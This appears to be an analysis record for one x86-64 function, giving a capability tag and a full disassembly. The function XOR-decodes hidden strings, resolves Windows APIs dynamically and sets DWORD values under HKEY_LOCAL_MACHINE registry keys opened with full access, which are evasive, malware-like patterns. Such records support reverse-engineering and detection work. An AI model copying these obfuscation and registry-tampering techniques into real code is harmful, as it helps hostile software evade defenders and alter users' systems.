Function at 0x180008270
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
xor eax, eax
mov dword [rbp - 0x79], 0x11898a25
mov byte [rbp - 0x6d], al
xor r13d, r13d
mov dword [rbp - 0x75], 0x34e17178
mov r15, rcx
mov dword [rbp - 0x71], 0xed4d1ac6
movabs r12, 0xaaaaaaaaaaaaaaab
mov qword [rbp + 0x77], r13
mov rax, qword [rbp + 0x77]
nop word [rax + rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
movzx r8d, byte [rbp + rax - 0x78]
mov rax, r12
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x77]
shl dl, 3
sub cl, dl
mov edx, 0x5cd251d8
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x78], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xb
jb 0x1800082c0
mov byte [rbp - 0x6d], r13b
call fcn.1800016b0
mov rcx, qword gs:[0x58]
mov rdi, rax
mov edx, dword [0x1802848b4]
mov eax, 4
mov rbx, qword [rcx + rdx*8]
add rbx, rax
mov ecx, dword [rbx]
cmp dword [0x180286968], ecx
jle 0x18000836b
lea rcx, [0x180286968]
call fcn.180249e18
cmp dword [0x180286968], 0xffffffff
jne 0x18000836b
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180286968]
mov qword [0x18028a9f8], rax
call fcn.180249db8
mov eax, dword [rbx]
cmp dword [0x18028a99c], eax
jle 0x1800083a4
lea rcx, [0x18028a99c]
call fcn.180249e18
cmp dword [0x18028a99c], 0xffffffff
jne 0x1800083a4
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18028a99c]
mov qword [0x18028a9a0], rax
call fcn.180249db8
mov rax, qword [0x18028a9f8]
mov rcx, rdi
call rax
mov r8, qword [0x18028a9a0]
lea rdx, [rbp - 0x78]
mov rcx, rax
call r8
mov r14, rax
test rax, rax
je 0x1800087d4
xor eax, eax
mov dword [rbp - 0x6c], 0x530d82e7
mov byte [rbp - 0x5e], al
mov dword [rbp - 0x68], 0xdd03bdd5
mov dword [rbp - 0x64], 0xfe0f8992
mov word [rbp - 0x60], 0xef25
mov qword [rbp + 0x77], r13
mov rax, qword [rbp + 0x77]
mov qword [rsp + 0x110], rsi
nop dword [rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
movzx r8d, byte [rbp + rax - 0x6b]
mov rax, r12
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x77]
shl dl, 3
sub cl, dl
mov edx, 0x430aecd0
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x6b], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xd
jb 0x180008400
mov byte [rbp - 0x5e], r13b
call fcn.1800016b0
mov ecx, dword [rbx]
mov rdi, rax
cmp dword [0x180286968], ecx
jle 0x180008490
lea rcx, [0x180286968]
call fcn.180249e18
cmp dword [0x180286968], 0xffffffff
jne 0x180008490
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x18028a9f8], rcx
lea rcx, [0x180286968]
call fcn.180249db8
mov eax, dword [rbx]
cmp dword [0x18028a99c], eax
jle 0x1800084c9
lea rcx, [0x18028a99c]
call fcn.180249e18
cmp dword [0x18028a99c], 0xffffffff
jne 0x1800084c9
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18028a99c]
mov qword [0x18028a9a0], rax
call fcn.180249db8
mov rax, qword [0x18028a9f8]
mov rcx, rdi
call rax
mov r8, qword [0x18028a9a0]
lea rdx, [rbp - 0x6b]
mov rcx, rax
call r8
mov rsi, rax
test rax, rax
je 0x1800087cc
movdqa xmm0, xmmword [0x18027abb0]
movdqu xmmword [rbp - 0x5d], xmm0
mov qword [rbp + 0x77], r13
mov rcx, qword [rbp + 0x77]
nop word [rax + rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
movzx r8d, byte [rbp + rax - 0x5c]
mov rax, r12
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x77]
shl dl, 3
sub cl, dl
mov edx, 0x4b98533f
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x5c], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xe
jb 0x180008510
mov byte [rbp - 0x4e], r13b
call fcn.1800016b0
mov edx, dword [rbx]
mov rdi, rax
cmp dword [0x180286968], edx
jle 0x1800085a0
lea rcx, [0x180286968]
call fcn.180249e18
cmp dword [0x180286968], 0xffffffff
jne 0x1800085a0
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180286968]
mov qword [0x18028a9f8], rdx
call fcn.180249db8
mov eax, dword [rbx]
cmp dword [0x18028a99c], eax
jle 0x1800085d9
lea rcx, [0x18028a99c]
call fcn.180249e18
cmp dword [0x18028a99c], 0xffffffff
jne 0x1800085d9
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18028a99c]
mov qword [0x18028a9a0], rax
call fcn.180249db8
mov rax, qword [0x18028a9f8]
mov rcx, rdi
call rax
mov r8, qword [0x18028a9a0]
lea rdx, [rbp - 0x5c]
mov rcx, rax
call r8
mov rbx, rax
test rax, rax
je 0x1800087cc
movdqa xmm0, xmmword [0x18027b030]
movdqa xmm1, xmmword [0x18027b1b0]
movdqu xmmword [rbp - 0x12], xmm0
mov dword [rbp + 0x6f], r13d
movdqa xmm0, xmmword [0x18027b150]
movdqu xmmword [rbp + 0xe], xmm0
mov dword [rbp + 0x1e], 0x5a11aba5
movdqu xmmword [rbp - 2], xmm1
mov word [rbp + 0x22], 0x6a
mov qword [rbp + 0x77], r13
mov rax, qword [rbp + 0x77]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
movzx r8d, byte [rbp + rax - 0x11]
mov rax, r12
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x77]
shl dl, 3
sub cl, dl
mov edx, 0x7ab968ca
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x11], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x34
jb 0x180008642
lea rax, [rbp + 0x7f]
mov byte [rbp + 0x23], r13b
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x11]
mov rcx, 0xffffffff80000002
call rsi
test eax, eax
jne 0x1800086de
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r15
call rbx
mov rcx, qword [rbp + 0x7f]
call r14
movdqa xmm0, xmmword [0x18027b0a0]
xor eax, eax
movdqa xmm1, xmmword [0x18027b160]
movdqu xmmword [rbp - 0x4d], xmm0
mov byte [rbp - 0x13], al
movdqa xmm0, xmmword [0x18027ad90]
movdqu xmmword [rbp - 0x2d], xmm0
mov dword [rbp - 0x1d], 0xa9c8a44
movdqu xmmword [rbp - 0x3d], xmm1
mov dword [rbp - 0x19], 0xa3ce0ee0
mov word [rbp - 0x15], 0xc603
mov qword [rbp + 0x77], r13
mov rax, qword [rbp + 0x77]
nop word [rax + rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
movzx r8d, byte [rbp + rax - 0x4c]
mov rax, r12
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x77]
shl dl, 3
sub cl, dl
mov edx, 0x16fbb5e5
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x4c], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x39
jb 0x180008730
lea rax, [rbp + 0x7f]
mov byte [rbp - 0x13], r13b
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x4c]
mov rcx, 0xffffffff80000002
call rsi
test eax, eax
jne 0x1800087cc
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r15
call rbx
mov rcx, qword [rbp + 0x7f]
call r14
mov rsi, qword [rsp + 0x110]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rbx
pop rbp
ret